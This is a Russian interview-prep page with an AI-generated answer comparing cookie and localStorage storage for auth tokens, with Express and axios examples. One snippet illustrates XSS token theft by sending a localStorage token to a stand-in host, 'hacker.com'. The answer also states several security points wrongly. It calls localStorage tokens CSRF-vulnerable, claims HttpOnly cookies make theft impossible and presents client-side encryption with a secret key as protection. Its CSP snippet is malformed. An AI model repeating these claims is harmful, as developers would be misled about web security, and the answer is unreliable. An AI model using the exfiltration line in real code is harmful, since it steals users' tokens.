← Назад к вопросам

Где хранить token в Cookie или localStorage?

2.8 Senior🔥 211 комментариев
#Архитектура и паттерны#Браузер и сетевые технологии

Комментарии (1)

🐱
claude-haiku-4.5PrepBro AI2 апр. 2026 г.(ред.)

Ответ сгенерирован нейросетью и может содержать ошибки

Cookie vs localStorage для хранения токенов

Выбор между Cookie и localStorage - это один из самых важных решений в вопросе безопасности аутентификации. Оба подхода имеют свои плюсы и минусы.

Сравнительная таблица

ХарактеристикаCookielocalStorage
XSS атакаHttpOnly защищаетУязвим
CSRF атакаSameSite защищаетУязвим
Автоматическая передачаДаНет (ручная в header)
Доступ из JSТолько обычныеДа, полный доступ
Размер4KB5-10MB
Синхронизация вкладокДаДа

HttpOnly Cookies - РЕКОМЕНДУЕМЫЙ ПОДХОД

// Backend отправляет token в HttpOnly cookie
res.setHeader(
  "Set-Cookie",
  "accessToken=jwt123; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=3600"
);

Преимущества:

  • XSS защита: JavaScript не может получить доступ к HttpOnly cookies
  • CSRF защита: SameSite флаг предотвращает кросс-сайтовые запросы
  • Автоматическая передача: Браузер сам отправляет cookie с каждым запросом
  • Стандарт индустрии: Используется в Google, Facebook, AWS и других крупных сервисах
  • Невозможно украсть: Даже если на сайте XSS, хакер не получит token

Недостатки:

  • Требует правильной конфигурации CORS
  • Сложнее отладить (нет доступа из DevTools console)
  • Требует поддержки credentials в запросах

localStorage - НЕ РЕКОМЕНДУЕТСЯ

// Хранение в localStorage
localStorage.setItem("accessToken", jwt);

// Использование
const token = localStorage.getItem("accessToken");
headers["Authorization"] = `Bearer ${token}`;

Недостатки:

  • XSS уязвимость: Любой скрипт может получить доступ
// Хакер с XSS может легко украсть token
fetch("https://hacker.com", {
  body: localStorage.getItem("accessToken")
});
  • CSRF уязвимость: Требует ручной передачи в header
  • Синхронизация: Нужно вручную синхронизировать между вкладками
  • Забывчивость: Разработчик может забыть удалить token при logout

Практические примеры

Пример 1: Правильное использование HttpOnly Cookies

// Frontend код
const api = axios.create({
  baseURL: "https://api.example.com",
  withCredentials: true // Важно: отправляет cookies
});

// Делаем запрос
api.get("/protected");
// Cookie автоматически отправится браузером
// JavaScript никогда не видит token

Пример 2: HttpOnly Cookie + CORS

// Backend (Node.js + Express)
const express = require("express");
const cors = require("cors");

const app = express();

app.use(
  cors({
    origin: "https://example.com",
    credentials: true // Позволяет отправлять cookies
  })
);

app.post("/login", (req, res) => {
  const token = generateJWT();
  
  res.cookie("accessToken", token, {
    httpOnly: true,  // Недоступно для JS
    secure: true,    // Только HTTPS
    sameSite: "strict", // CSRF защита
    maxAge: 3600000  // 1 час
  });
  
  res.json({ success: true });
});

Пример 3: localStorage (если нужен доступ из JS)

// Если всё же используешь localStorage

// Максимизируй защиту
const storeToken = (token) => {
  // Шифруй token перед сохранением
  const encrypted = encrypt(token, SECRET_KEY);
  localStorage.setItem("accessToken", encrypted);
};

// Используй Content Security Policy (CSP) для защиты от XSS
// <meta http-equiv="Content-Security-Policy" 
//       content="script-src self; object-src none" />

// Регулярно очищай при logout
const logout = () => {
  localStorage.removeItem("accessToken");
  // Переадресация на login
};

Архитектура с refresh token

// BEST PRACTICE
// 1. Access token (короткоживущий) -> можно в localStorage или memory
// 2. Refresh token (долгоживущий) -> ОБЯЗАТЕЛЬНО в HttpOnly Cookie

res.cookie("refreshToken", refreshJWT, {
  httpOnly: true,
  secure: true,
  sameSite: "strict",
  maxAge: 7 * 24 * 60 * 60 * 1000 // 7 дней
});

// Access token можно вернуть в теле ответа
res.json({
  accessToken: accessJWT,
  expiresIn: 3600
});

Секурность: Сравнение сценариев атак

Сценарий 1: XSS атака (внедрение скрипта)

// HttpOnly Cookie - БЕЗОПАСНО
// Скрипт не может получить доступ
// document.cookie вернёт пустую строку (если других cookies нет)

// localStorage - УЯЗВИМО
const token = localStorage.getItem("accessToken"); // Хакер получит token!

Сценарий 2: CSRF атака (подделка запроса)

// HttpOnly Cookie + SameSite=Strict - ЗАЩИЩЕНО
// Браузер заблокирует запрос с другого домена

// localStorage - УЯЗВИМО
// Хакер может сделать запрос от имени пользователя, если не добавлены меры

Рекомендации

  1. Используй HttpOnly Cookies для access token в production
  2. Обязательно HttpOnly для refresh token
  3. Настрой CORS правильно - только для доверенных доменов
  4. Используй HTTPS - без этого Cookie insecure флаг бесполезен
  5. Добавь CSP (Content Security Policy) заголовок
  6. Регулярный logout - очищай cookies при выходе
  7. Мониторь - логируй попытки несанкционированного доступа

Заключение

Для production приложений ВСЕГДА используй HttpOnly Cookies для хранения access и refresh токенов. localStorage следует избегать для чувствительных данных. Это обеспечивает максимальную защиту от XSS и CSRF атак, которые являются наиболее распространёнными уязвимостями веб-приложений.

Где хранить token в Cookie или localStorage? | PrepBro